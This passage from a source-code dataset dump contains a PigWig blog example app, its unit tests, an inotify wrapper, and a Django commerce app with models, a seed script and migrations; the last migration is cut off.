Response(code=303, location='/admin')\n\t\tresponse.set_secure_cookie(request, 'user_id', str(user['id']), max_age=LOGIN_TIME)\n\t\treturn response\n\telse:\n\t\traise HTTPException(401, 'incorrect username or password')\n\ndef authed(f):\n\[email protected](f)\n\tdef wrapper(request):\n\t\tuser_id = request.get_secure_cookie('user_id', LOGIN_TIME)\n\t\tif not user_id:\n\t\t\treturn Response(code=303, location='/login')\n\t\treturn f(request, user_id)\n\treturn wrapper\n\n@authed\ndef admin(request, user_id):\n\treturn Response.render(request, 'admin.jinja2', {})\n\n@authed\ndef admin_post(request, user_id):\n\ttry:\n\t\ttitle = request.body['title']\n\t\tbody = request.body['body']\n\texcept KeyError:\n\t\traise HTTPException(400, 'title or body missing')\n\twith db:\n\t\tdb.execute('INSERT INTO posts (user_id, title, body) VALUES(?, ?, ?)', (user_id, title, body))\n\treturn Response(code=303, location='/admin')\n\ndef http_exception_handler(e, errors, request, app):\n\tif e.code == 404:\n\t\treturn Response.render(request, '404.jinja2', {})\n\treturn default_http_exception_handler(e, errors, request, app)\n\ndef init_db():\n\tprint('creating blogwig.db')\n\twith db:\n\t\tdb.executescript('''\n\t\t\tCREATE TABLE IF NOT EXISTS users (\n\t\t\t\tid INTEGER PRIMARY KEY,\n\t\t\t\tusername TEXT NOT NULL UNIQUE,\n\t\t\t\tpassword TEXT NOT NULL,\n\t\t\t\tsalt BLOB NOT NULL\n\t\t\t);\n\t\t\tCREATE TABLE IF NOT EXISTS posts (\n\t\t\t\tid INTEGER PRIMARY KEY,\n\t\t\t\tuser_id INTEGER NOT NULL,\n\t\t\t\ttitle TEXT NOT NULL UNIQUE,\n\t\t\t\tbody TEXT NOT NULL,\n\t\t\t\tFOREIGN KEY(user_id) REFERENCES users(id)\n\t\t\t);\n\t\t''')\n\t\tprint('time to create your blogwig user!')\n\t\tusername = input('username: ')\n\t\tpassword = getpass.getpass('password: ')\n\t\tcreate_user(username, password)\n\ndef create_user(username, password):\n\tsalt = os.urandom(16)\n\thashed = _hash(password, salt)\n\tdb.execute('INSERT INTO users (username, password, salt) VALUES(?, ?, ?)',\n\t\t\t(username, hashed, salt))\n\ndef _hash(password, salt):\n\tdk = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt, 100000)\n\treturn binascii.hexlify(dk)\n\napp = PigWig(routes, template_dir=template_dir, cookie_secret=b'this is super secret',\n\t\thttp_exception_handler=http_exception_handler)\n\ndef main():\n\ttry:\n\t\tcur = db.execute('SELECT id FROM users LIMIT 1')\n\texcept sqlite3.OperationalError: # table doesn't exist\n\t\tinit_db()\n\t\tcur = db.execute('SELECT id FROM users LIMIT 1')\n\tif not cur.fetchone():\n\t\tinit_db()\n\tapp.main()\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.6741071343421936, "alphanum_fraction": 0.6808035969734192, "avg_line_length": 29.89655113220215, "blob_id": "3f7ba0fcca0f7ab879d7d1d386de4d6d45eb175d", "content_id": "e5106b9f8b2d0d4c9b22f6e476e14dcf008e44f6", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1792, "license_type": "permissive", "max_line_length": 93, "num_lines": 58, "path": "/pigwig/tests/test_request_response.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import http.cookies\nimport json\nimport unittest\n\nfrom pigwig import PigWig, Request, Response\nfrom pigwig.request_response import HTTPHeaders\n\nclass ResponseTests(unittest.TestCase):\n\tdef test_json(self):\n\t\tr = Response.json(None)\n\t\tself.assertEqual(next(r.body), b'null')\n\t\tself.assertEqual(HTTPHeaders(r.headers)['Content-Type'], 'application/json; charset=utf-8')\n\n\t\tbig_obj = ['a' * 256] * 256\n\t\tr = Response.json(big_obj)\n\t\tchunks = list(r.body)\n\t\tself.assertGreater(len(chunks), 1)\n\n\t\tResponse.json_encoder = json.JSONEncoder()\n\t\tr = Response.json(big_obj)\n\t\tchunks = list(r.body)\n\t\tself.assertGreater(len(chunks), 1)\n\t\tself.assertEqual(b''.join(chunks), json.dumps(big_obj).encode())\n\n\tdef test_cookie(self):\n\t\tapp = PigWig([])\n\t\tr = Response()\n\t\tr.set_cookie('cow', 'moo')\n\t\tr.set_cookie('duck', 'quack', path='/pond')\n\n\t\tcookies = http.cookies.SimpleCookie()\n\t\tfor header, value in r.headers:\n\t\t\tif header == 'Set-Cookie':\n\t\t\t\tcookies.load(value)\n\n\t\treq = Request(app, None, None, None, None, None, cookies, None)\n\t\tself.assertEqual(req.cookies['cow'].value, 'moo')\n\t\tself.assertEqual(req.cookies['cow']['path'], '/')\n\t\tself.assertEqual(req.cookies['duck'].value, 'quack')\n\t\tself.assertEqual(req.cookies['duck']['path'], '/pond')\n\n\tdef test_secure_cookie(self):\n\t\tapp = PigWig([], cookie_secret=b'a|b')\n\t\treq = Request(app, None, None, None, None, None, None, None)\n\t\tr = Response()\n\t\tr.set_secure_cookie(req, 'c|d', 'e|f')\n\t\tset_cookie = r.headers[-1]\n\t\tself.assertEqual(set_cookie[0], 'Set-Cookie')\n\n\t\tcookies = http.cookies.SimpleCookie(set_cookie[1])\n\t\treq.cookies = cookies\n\t\tself.assertEqual(req.get_secure_cookie('c|d', None), 'e|f')\n\nclass HTTPHeadersTests(unittest.TestCase):\n\tdef test(self):\n\t\th = HTTPHeaders()\n\t\th['COOKIE'] = 'abc'\n\t\tself.assertEqual(h['cookie'], 'abc')\n" }, { "alpha_fraction": 0.5768321752548218, "alphanum_fraction": 0.6926714181900024, "avg_line_length": 22.5, "blob_id": "653015e26b106f194bc62ab956aa3f9c7066d04c", "content_id": "e1da3a0b1806d8df8384a930c1ab40a1d9c28e20", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1692, "license_type": "permissive", "max_line_length": 66, "num_lines": 72, "path": "/pigwig/inotify.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "from collections import namedtuple\nimport ctypes\nimport ctypes.util\nfrom enum import IntEnum\nimport errno\nimport os\nimport struct\n\nlibc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c'))\nlibc.__errno_location.restype = ctypes.POINTER(ctypes.c_int)\n\nEvent = namedtuple('Event', ['wd', 'mask', 'cookie', 'name'])\n\ndef geterr():\n\treturn errno.errorcode[libc.__errno_location().contents.value]\n\ndef init():\n\tfd = libc.inotify_init()\n\tif fd == -1:\n\t\traise OSError('inotify_init error', geterr())\n\treturn fd\n\ndef add_watch(fd, path, mask):\n\twd = libc.inotify_add_watch(fd, path.encode(), mask)\n\tif wd == -1:\n\t\traise OSError('inotify_add_watch error', geterr())\n\treturn wd\n\ndef rm_watch(fd, wd):\n\tresult = libc.inotify_rm_watch(fd, wd)\n\tif result == -1:\n\t\traise OSError('inotify_rm_watch', geterr())\n\ndef get_events(fd):\n\tbuf = b''\n\twhile True:\n\t\tdata = os.read(fd, 4096)\n\t\tbuf += data\n\t\tif len(data) < 4096:\n\t\t\tbreak\n\tpos = end = 0\n\twhile pos < len(buf):\n\t\tend += 16\n\t\twd, mask, cookie, name_len = struct.unpack('iIII', buf[pos:end])\n\t\tpos = end\n\t\tend = end + name_len\n\t\tname = struct.unpack('%ds' % name_len, buf[pos:end])\n\t\tname = name[0].rstrip(b'\\0')\n\t\tyield Event(wd, mask, cookie, name.decode())\n\t\tpos = end\n\nclass IN(IntEnum):\n\tACCESS = 0x00000001\n\tMODIFY = 0x00000002\n\tATTRIB = 0x00000004\n\tCLOSE_WRITE = 0x00000008\n\tCLOSE_NOWRITE = 0x00000010\n\tOPEN = 0x00000020\n\tMOVED_FROM = 0x00000040\n\tMOVED_TO = 0x00000080\n\tCREATE = 0x00000100\n\tDELETE = 0x00000200\n\tDELETE_SELF = 0x00000400\n\tMOVE_SELF = 0x00000800\n\tUNMOUNT\t= 0x00002000\n\tQ_OVERFLOW = 0x00004000\n\tIGNORED = 0x00008000\n\tONLYDIR = 0x01000000\n\tDONT_FOLLOW = 0x02000000\n\tMASK_ADD = 0x20000000\n\tISDIR = 0x40000000\n\tONESHOT = 0x80000000\n" }, { "alpha_fraction": 0.707317054271698, "alphanum_fraction": 0.707317054271698, "avg_line_length": 19.5, "blob_id": "6626198850763f5cc70d39f501a0ee6aa424ee3a", "content_id": "0407cca24f81234e7e0bce04c7517a06fee98a74", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 205, "license_type": "permissive", "max_line_length": 55, "num_lines": 10, "path": "/docs/pigwig.rst", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "PigWig\n======\n\n.. py:module:: pigwig\n\n.. autoclass:: pigwig.PigWig\n :special-members: __call__\n\n.. autofunction:: pigwig.default_http_exception_handler\n.. autofunction:: pigwig.default_exception_handler\n" } ]
20
RushitaPriya/Poshmark_Assignment
https://github.com/RushitaPriya/Poshmark_Assignment
10eed87804b6680d8b801b042eb8b8a021674a9c
926d37ceb9cdf4526f16155a22264ea6bfeb6bdf
02014a4c520562127f2b964c8e1d5d80ef260a40
refs/heads/master
2022-12-07T04:24:10.066072
2020-08-24T07:34:36
2020-08-24T07:34:36
289,828,674
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49681591987609863, "alphanum_fraction": 0.5163246989250183, "avg_line_length": 48.733333587646484, "blob_id": "298246e910ff2bad26571ba1aae0764c2030f6a1", "content_id": "e56543200d1609eb4ebb244b4b9de00d070ea0d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9893, "license_type": "no_license", "max_line_length": 283, "num_lines": 195, "path": "/CPUAllocation.py", "repo_name": "RushitaPriya/Poshmark_Assignment", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3.7\r\n\r\nimport sys\r\nimport math\r\n\r\nclass ResourceAllocation:\r\n \"\"\"\r\n Main class for resource allocation code\r\n \"\"\"\r\n cost_dict = {\"us-east\":{\"large\":0.12, \"xlarge\":0.23, \"2xlarge\":0.45, \"4xlarge\":0.774, \"8xlarge\":1.4, \"10xlarge\":2.82}, \"us-west\":{\"large\":0.14, \"2xlarge\":0.413, \"4xlarge\":0.89, \"8xlarge\":1.3, \"10xlarge\":2.97}, \"asia\":{\"large\":0.11, \"xlarge\":0.20, \"4xlarge\":0.67, \"8xlarge\":1.18}}\r\n # \"us-east\":{\"large\":0.12, \"xlarge\":0.23, \"2xlarge\":0.45, \"4xlarge\":0.774, \"8xlarge\":1.4, \"10xlarge\":2.82}, \"us-west\":{\"large\":0.14, \"2xlarge\":0.413, \"4xlarge\":0.89, \"8xlarge\":1.3, \"10xlarge\":2.97}, \r\n server_cpu_size = {\"large\":1, \"xlarge\":2, \"2xlarge\":4, \"4xlarge\":8, \"8xlarge\":16, \"10xlarge\":32}\r\n regions = cost_dict.keys()\r\n\r\n def _final_dict_based_on_cpu(cls, cpus, hours):\r\n \"\"\"\r\n Funtion to calculate based on number of CPUs and number of hours\r\n\r\n :return: List of doctionaries for all regions\r\n \"\"\"\r\n combined_list=[]\r\n \r\n for _region in ResourceAllocation.regions:\r\n region_dict = {}\r\n _cost_per_region = 0\r\n _min_server = 2\r\n _server_list = []\r\n _rem_cpus = cpus\r\n _sorted_server_cost = sorted(cls.cost_dict[_region].items(), key=lambda x: x[1], reverse=True)\r\n _max_cpu_size = cls.server_cpu_size[_sorted_server_cost[0][0]]\r\n # Calculating max CPU size for which atleast 2 servers can be given\r\n while _max_cpu_size > 1:\r\n if cpus//_max_cpu_size >= 4:\r\n break\r\n else:\r\n _max_cpu_size /= 2\r\n _sorted_server_cost = sorted(cls.cost_dict[_region].items(), key=lambda x: x[1], reverse=True)\r\n sorted_cpu_list = [i for i in sorted(cls.server_cpu_size.items(), key=lambda x: x[1], reverse=True) if i[1] <= _max_cpu_size]\r\n for k,v in sorted_cpu_list:\r\n server_name = k if _max_cpu_size == v else \"\" \r\n if server_name in cls.cost_dict[_region].keys():\r\n _servers_needed_at_cpu_capacity = (_rem_cpus//2)//_max_cpu_size\r\n if _servers_needed_at_cpu_capacity >= _min_server:\r\n _server_list.append((server_name,_servers_needed_at_cpu_capacity))\r\n _rem_cpus = (_rem_cpus - _rem_cpus//2) + (_rem_cpus//2 - _servers_needed_at_cpu_capacity*_max_cpu_size)\r\n _cost_per_region += _servers_needed_at_cpu_capacity*hours*(cls.cost_dict[_region][server_name])\r\n _min_server *= 2\r\n elif _max_cpu_size*_min_server > _rem_cpus//2 and _max_cpu_size*_min_server <= _rem_cpus:\r\n _server_list.append((server_name, _min_server))\r\n _rem_cpus -= _max_cpu_size*_min_server\r\n _cost_per_region += _min_server*hours*(cls.cost_dict[_region][server_name])\r\n _min_server *= 2\r\n elif _max_cpu_size*_min_server > _rem_cpus:\r\n _server_list.append((server_name, int(math.ceil(_rem_cpus/(_max_cpu_size)))))\r\n _cost_per_region += int(math.ceil(_rem_cpus/(_max_cpu_size)))*hours*(cls.cost_dict[_region][server_name])\r\n break\r\n _max_cpu_size = _max_cpu_size//2\r\n\r\n region_dict[\"total_cost\"] = _cost_per_region\r\n region_dict[\"region\"] = _region\r\n region_dict[\"servers\"] = _server_list\r\n combined_list.append(region_dict)\r\n return combined_list\r\n\r\n def _final_dict_based_on_price(cls, price, hours):\r\n \"\"\"\r\n Funtion to calculate based on price and number of hours\r\n\r\n :return: List of doctionaries for all regions\r\n \"\"\"\r\n combined_list=[]\r\n\r\n for _region in ResourceAllocation.regions:\r\n region_dict = {}\r\n _server_list = []\r\n _cost_per_region = 0\r\n _min_server = 2\r\n _sorted_server_cost = [i for i in sorted(cls.cost_dict[_region].items(), key=lambda x: x[1], reverse=True) if price//i[1] >= 4]\r\n _rem_cost = price\r\n for k,v in _sorted_server_cost:\r\n _current_server_size = int((_rem_cost//2)/v)\r\n if _current_server_size >= _min_server:\r\n _server_list.append((k, _current_server_size))\r\n _rem_cost = (_rem_cost - _rem_cost//2) + (_rem_cost//2 - v*_current_server_size)\r\n _cost_per_region += float(_current_server_size*hours*v)\r\n _min_server *= 2\r\n elif _current_server_size < _min_server and v*_min_server <= _rem_cost:\r\n _server_list.append((k, _min_server))\r\n _rem_cost -= float(v*_min_server)\r\n _cost_per_region += float(v*_min_server*hours)\r\n _min_server *= 2\r\n elif v*_min_server > _rem_cost:\r\n _server_list.append((k, int(round(_rem_cost/v))))\r\n _cost_per_region += float(round(_rem_cost/v)*hours*v)\r\n break\r\n\r\n region_dict[\"total_cost\"] = _cost_per_region\r\n region_dict[\"region\"] = _region\r\n region_dict[\"servers\"] = _server_list\r\n combined_list.append(region_dict)\r\n return combined_list\r\n\r\n def _final_dict_based_on_price_and_cpus(cls, price, cpus, hours):\r\n \"\"\"\r\n Funtion to calculate based on number of CPUs, price and number of hours\r\n\r\n :return: List of doctionaries for all regions\r\n \"\"\"\r\n combined_list=[]\r\n \r\n for _region in ResourceAllocation.regions:\r\n region_dict = {}\r\n _server_list = []\r\n _cost_per_region = 0\r\n _min_server = 2\r\n _rem_cpus = cpus\r\n _rem_cost = price\r\n _sorted_server_cost = [i for i in sorted(cls.cost_dict[_region].items(), key=lambda x: x[1], reverse=True) if price//i[1] >= 4]\r\n _max_cpu_size = cls.server_cpu_size[_sorted_server_cost[0][0]]\r\n while _max_cpu_size > 1:\r\n if cpus//_max_cpu_size >= 4:\r\n break\r\n else:\r\n _max_cpu_size /= 2\r\n\r\n sorted_cpu_list = []\r\n for i,j in _sorted_server_cost:\r\n sorted_cpu_list.append((i, cls.server_cpu_size[i]))\r\n\r\n for k,v in sorted_cpu_list:\r\n server_name = k if _max_cpu_size == v else \"\" \r\n if server_name in cls.cost_dict[_region].keys():\r\n _servers_needed_at_cpu_capacity = (_rem_cpus//2)//_max_cpu_size\r\n if _servers_needed_at_cpu_capacity >= _min_server and (_rem_cost//2)/_servers_needed_at_cpu_capacity <= v:\r\n _server_list.append((server_name,_servers_needed_at_cpu_capacity))\r\n _rem_cpus = (_rem_cpus - _rem_cpus//2) + (_rem_cpus//2 - _servers_needed_at_cpu_capacity*_max_cpu_size)\r\n _rem_cost = (_rem_cost - _rem_cost//2) + (_rem_cost//2 - v*_servers_needed_at_cpu_capacity)\r\n _cost_per_region += _servers_needed_at_cpu_capacity*hours*(cls.cost_dict[_region][server_name])\r\n _min_server *= 2\r\n elif (_max_cpu_size*_min_server > _rem_cpus//2 and _max_cpu_size*_min_server <= _rem_cpus) or (int((_rem_cost//2)/v) < _min_server and v*_min_server <= _rem_cost):\r\n _server_list.append((server_name, _min_server))\r\n _rem_cpus -= _max_cpu_size*_min_server\r\n _rem_cost -= float(v*_min_server)\r\n _cost_per_region += _min_server*hours*(cls.cost_dict[_region][server_name])\r\n _min_server *= 2\r\n elif _max_cpu_size*_min_server > _rem_cpus or v*_min_server > _rem_cost:\r\n _rem_cost -= float(v*_min_server)\r\n _servers = int(math.ceil(_rem_cpus/decimal.Decimal(_max_cpu_size)))\r\n _server_list.append((server_name,_servers))\r\n _cost_per_region += _servers*hours*(cls.cost_dict[_region][server_name])\r\n break\r\n _max_cpu_size = _max_cpu_size//2\r\n region_dict[\"total_cost\"] = _cost_per_region\r\n region_dict[\"region\"] = _region\r\n region_dict[\"servers\"] = _server_list\r\n combined_list.append(region_dict)\r\n return combined_list\r\n\r\n def get_costs(cls, hours=1, cpus=None, price=None):\r\n \"\"\"\r\n Function to get right region, with total cost and number of servers needed\r\n\r\n :param hours: Number of hours the servers are needed\r\n :param cpus: Number of CPUs needed\r\n :param price: Total price willing to pay\r\n :return: Dict of regions, will cost and server details \r\n \"\"\"\r\n if price and not cpus:\r\n list1 = cls._final_dict_based_on_price(price/hours, hours)\r\n #print(list1)\r\n print(sorted(list1, key = lambda i: i['total_cost']))\r\n \r\n elif cpus and not price:\r\n list1 = cls._final_dict_based_on_cpu(cpus, hours)\r\n print(sorted(list1, key = lambda i: i['total_cost']))\r\n\r\n elif cpus and price:\r\n list1 = cls._final_dict_based_on_price_and_cpus(price/hours, cpus, hours)\r\n print(sorted(list1, key = lambda i: i['total_cost']))\r\n\r\n else:\r\n raise Exception(\"Price and CPUs together couldn't be 0\")\r\n\r\n\r\nif __name__ == '__main__':\r\n ra = ResourceAllocation()\r\n\r\n #unit test - 1\r\n ra.get_costs(hours=10,cpus=110)\r\n\r\n #unit test - 2\r\n ra.get_costs(hours=10,price=90)\r\n\r\n #unit test - 3\r\n ra.get_costs(hours=10,cpus=110,price=80)\r\n" } ]
1
brenda117-max/0410
https://github.com/brenda117-max/0410
ac4bb80f70bef64b872e2501fb90e526519ecdaa
4344b852170040564bdf42813ac964045ba2c8b1
1958cbc167f157d8a19e44f7b0ad409abda5d61e
refs/heads/master
2023-04-06T11:53:45.785143
2021-04-14T06:44:11
2021-04-14T06:44:11
358,115,784
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6187845468521118, "alphanum_fraction": 0.7016574740409851, "avg_line_length": 21.75, "blob_id": "9d845490d6bf548bf700361e3d713ca050ce4384", "content_id": "25362ebf5e530349204b881047759b9a3130d583", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 187, "license_type": "no_license", "max_line_length": 39, "num_lines": 8, "path": "/test.py", "repo_name": "brenda117-max/0410", "src_encoding": "UTF-8", "text": "# coding=utf-8\n# Author:念奴娇\n# date:4/12/2021 2:20 PM\n# year:2021\nfrom selenium import webdriver\ndef testcase():\n driver=webdriver.Chrome()\n driver.get('https://www.baidu.com')" } ]
1
lautarodapin/django-orm-tests
https://github.com/lautarodapin/django-orm-tests
6a61b6ae50880c4f3577ad3e3030399da2a92035
c67745cd3a713953430e1fb47ed138b507a8d321
ae085ab4943293b95b064e603ccd6fd6195a8ec2
refs/heads/master
2023-07-10T09:18:26.706355
2021-08-10T18:09:22
2021-08-10T18:09:22
390,567,069
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6427929997444153, "alphanum_fraction": 0.6445891261100769, "avg_line_length": 33, "blob_id": "6952b9d6f48b4a6148d61a99d3ff151e9334ca28", "content_id": "b0abb7795d9ae3789f43c71b9c9b25b9fd4cf908", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4454, "license_type": "no_license", "max_line_length": 118, "num_lines": 131, "path": "/commerce/models.py", "repo_name": "lautarodapin/django-orm-tests", "src_encoding": "UTF-8", "text": "from typing import Optional\nfrom django.db import models\nfrom django.db.models import ForeignKey, Model\nfrom django.contrib.auth.models import User\nfrom django.db.models.aggregates import Aggregate, Count, Sum\nfrom django.db.models.deletion import CASCADE\nfrom django.db.models.enums import Choices\nfrom django.db.models.expressions import Case, F, Value, When, Window\nfrom django.db.models.fields import CharField, DateTimeField, FloatField, PositiveSmallIntegerField, SmallIntegerField\nfrom django.db.models.fields.related import ManyToManyField\nfrom django.db.models.functions.datetime import TruncDate\nfrom django.db.models.functions.window import DenseRank\nfrom django.db.models.query import QuerySet\n\nfrom sqlalchemy.ext.hybrid import hybrid_property\nclass GroupConcat(Aggregate):\n function = 'GROUP_CONCAT'\n template = '%(function)s(%(distinct)s%(expressions)s)'\n allow_distinct = True\n def __init__(self, expression, distinct=False, **extra):\n super().__init__(\n expression,\n distinct='DISTINCT ' if distinct else '',\n output_field=CharField(),\n **extra)\n\nclass WithChoices(Case):\n def __init__(self, choices, field, output_field=CharField(), **extra) -> None:\n whens = [When(**{field: k, 'then': Value(str(v))}) for k, v in dict(choices).items()]\n super().__init__(*whens, output_field=output_field, **extra)\n\n\nclass FormaDePago(Model):\n class Multiplicador(Choices):\n positivo = 1\n negativo = -1\n\n multiplicador = SmallIntegerField(choices=Multiplicador.choices, default=Multiplicador.positivo)\n valor = FloatField()\n\n class Meta:\n unique_together = ['multiplicador', 'valor']\n\n @hybrid_property\n def extra_multiplicador(self):\n return self.sa.multiplicador * self.sa.valor\n\n\nclass Producto(Model):\n nombre = CharField(max_length=255)\n precio = FloatField()\n\n def __str__(self) -> str:\n return self.nombre\n\nclass CotizacionQueryset(QuerySet):\n total = Sum(F('productos__precio') * F('productos__cantidad'))\n ranking = Window(expression=DenseRank(), order_by=[F('total').desc()])\n cantidad = Count('id')\n creadores = GroupConcat('creado__username', distinct=True)\n productos = GroupConcat('productos__nombre', distinct=True)\n\n def ranking_productos(self):\n return (\n self\n .prefetch_related('productos')\n .select_related('creado')\n .values('productos__nombre')\n .annotate(\n cantidad=self.cantidad,\n total=self.total,\n ranking=self.ranking,\n creadores=self.creadores,\n )\n .order_by('ranking')\n )\n\n def ranking_cotizaciones_por_creadores(self):\n return (\n self\n .prefetch_related('productos')\n .select_related('creado')\n .values('creado__username')\n .annotate(\n cantidad=self.cantidad,\n total=self.total,\n ranking=self.ranking,\n creadores=self.creadores,\n productos=self.productos,\n )\n .order_by('ranking')\n )\n\n def cotizaciones_por_dia(self):\n return (\n self\n .annotate(date=TruncDate('fake_date'))\n .values('date')\n .annotate(count=self.cantidad)\n .order_by('-date')\n )\n\nclass Cotizacion(Model):\n objects = CotizacionQueryset.as_manager()\n\n fake_date = DateTimeField()\n creado = ForeignKey(User, CASCADE, related_name='cotizaciones')\n para = ForeignKey(User, CASCADE, related_name='cotizaciones_recibidas')\n formas_de_pago = ManyToManyField(FormaDePago, related_name='cotizaciones')\n\n\n\nclass ProductoCotizado(Model):\n cotizacion = ForeignKey(Cotizacion, CASCADE, related_name='productos')\n precio = FloatField()\n cantidad = PositiveSmallIntegerField()\n nombre = CharField(max_length=255)\n\n def __str__(self) -> str:\n return self.nombre\n\n @hybrid_property\n def total(self):\n return self.sa.precio * self.sa.cantidad\n\nclass Venta(Model):\n fake_date = DateTimeField()\n creado = ForeignKey(User, CASCADE, related_name='ventas')\n para = ForeignKey(User, CASCADE, related_name='ventas_recibidas')\n cotizacion = ForeignKey(Cotizacion, CASCADE, related_name='ventas')\n forma_de_pago = ForeignKey(FormaDePago, CASCADE, related_name='+')\n" }, { "alpha_fraction": 0.579605758190155, "alphanum_fraction": 0.5913571119308472, "avg_line_length": 32.83333206176758, "blob_id": "e1ab08ac008e93c16e7f0545bb86a3b02851cf6f", "content_id": "bb0cff1c5bbc430fd346504166c2cf8c3612257c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2638, "license_type": "no_license", "max_line_length": 90, "num_lines": 78, "path": "/scripts/start_commerce.py", "repo_name": "lautarodapin/django-orm-tests", "src_encoding": "UTF-8", "text": "from commerce.models import *\nfrom django.utils.timezone import timedelta, datetime, now\nimport random\n\ndef run():\n User.objects.filter(is_superuser=False).delete()\n FormaDePago.objects.all().delete()\n Producto.objects.all().delete()\n Cotizacion.objects.all().delete()\n Venta.objects.all().delete()\n ProductoCotizado.objects.all().delete()\n\n users = [User.objects.get(username='lautaro')]\n\n for i in range(random.randint(5, 10)):\n users.append(User.objects.create_user(\n username=f'usuario {i}',\n password='password',\n ))\n\n formas_de_pago = []\n valores = [5, 10, 15, 20, 0]\n for valor in valores:\n\n forma_de_pago = FormaDePago.objects.create(\n valor=valor,\n multiplicador=FormaDePago.Multiplicador.negativo.value,\n )\n formas_de_pago.append(forma_de_pago)\n forma_de_pago = FormaDePago.objects.create(\n valor=valor,\n multiplicador=FormaDePago.Multiplicador.positivo.value,\n )\n formas_de_pago.append(forma_de_pago)\n\n productos = []\n for i in range(random.randint(10, 20)):\n producto = Producto.objects.create(\n nombre=f'Producto {i}',\n precio=random.random() * 100 + 1,\n )\n productos.append(producto)\n\n cotizaciones = []\n for i in range(random.randint(5, 10)):\n creado = random.choice(users)\n para = random.choice(list(filter(lambda user: user.id != creado.id, users)))\n cotizacion = Cotizacion.objects.create(\n creado=creado,\n para=para,\n fake_date=now() - timedelta(days=random.randint(0, 5)),\n )\n [cotizacion.formas_de_pago.add(forma) for forma in random.choices(formas_de_pago)]\n cotizacion.save()\n cotizaciones.append(cotizacion)\n \n for cotizacion in cotizaciones:\n for i in range(random.randint(5, 10)):\n producto = random.choice(productos)\n producto_cotizado = ProductoCotizado.objects.create(\n cotizacion=cotizacion,\n precio=producto.precio,\n cantidad=random.randint(1, 5),\n nombre=producto.nombre,\n )\n \n creado = random.choice(users)\n para = random.choice(list(filter(lambda user: user.id != creado.id, users)))\n venta = Venta.objects.create(\n creado=creado,\n para=para,\n cotizacion=cotizacion,\n fake_date=now() - timedelta(days=random.randint(0, 5)),\n forma_de_pago=random.choice(formas_de_pago),\n )\n\nif __name__ == '__main__':\n run()" }, { "alpha_fraction": 0.5268065333366394, "alphanum_fraction": 0.5710955858230591, "avg_line_length": 20.450000762939453, "blob_id": "6546b2e356c6ffa65bb004b16f227414eb7d2c7c", "content_id": "21f8074686a498889b2d504bb0aa146b7c3455a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 429, "license_type": "no_license", "max_line_length": 71, "num_lines": 20, "path": "/books/migrations/0002_alter_book_managers.py", "repo_name": "lautarodapin/django-orm-tests", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.5 on 2021-07-25 01:45\n\nfrom django.db import migrations\nimport django.db.models.manager\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('books', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterModelManagers(\n name='book',\n managers=[\n ('custom_objects', django.db.models.manager.Manager()),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.5799885392189026, "alphanum_fraction": 0.5868692398071289, "avg_line_length": 45.50666809082031, "blob_id": "2a7dc8c09a1f56f664538725172c4130494ae100", "content_id": "bea6d5f72dc3af0c6a265e1fe14898728fb1581b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3488, "license_type": "no_license", "max_line_length": 151, "num_lines": 75, "path": "/commerce/migrations/0001_initial.py", "repo_name": "lautarodapin/django-orm-tests", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.5 on 2021-07-29 16:14\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Cotizacion',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('fake_date', models.DateTimeField()),\n ('creado', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='cotizaciones', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='FormaDePago',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('multiplicador', models.SmallIntegerField(choices=[(1, 'Positivo'), (-1, 'Negativo')], default=1)),\n ('valor', models.FloatField()),\n ],\n options={\n 'unique_together': {('multiplicador', 'valor')},\n },\n ),\n migrations.CreateModel(\n name='Producto',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=255)),\n ('precio', models.FloatField()),\n ],\n ),\n migrations.CreateModel(\n name='Venta',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('fake_date', models.DateTimeField()),\n ('cotizacion', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='ventas', to='commerce.cotizacion')),\n ('creado', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='ventas', to=settings.AUTH_USER_MODEL)),\n ('forma_de_pago', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='commerce.formadepago')),\n ('para', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='ventas_recibidas', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='ProductoCotizado',\n 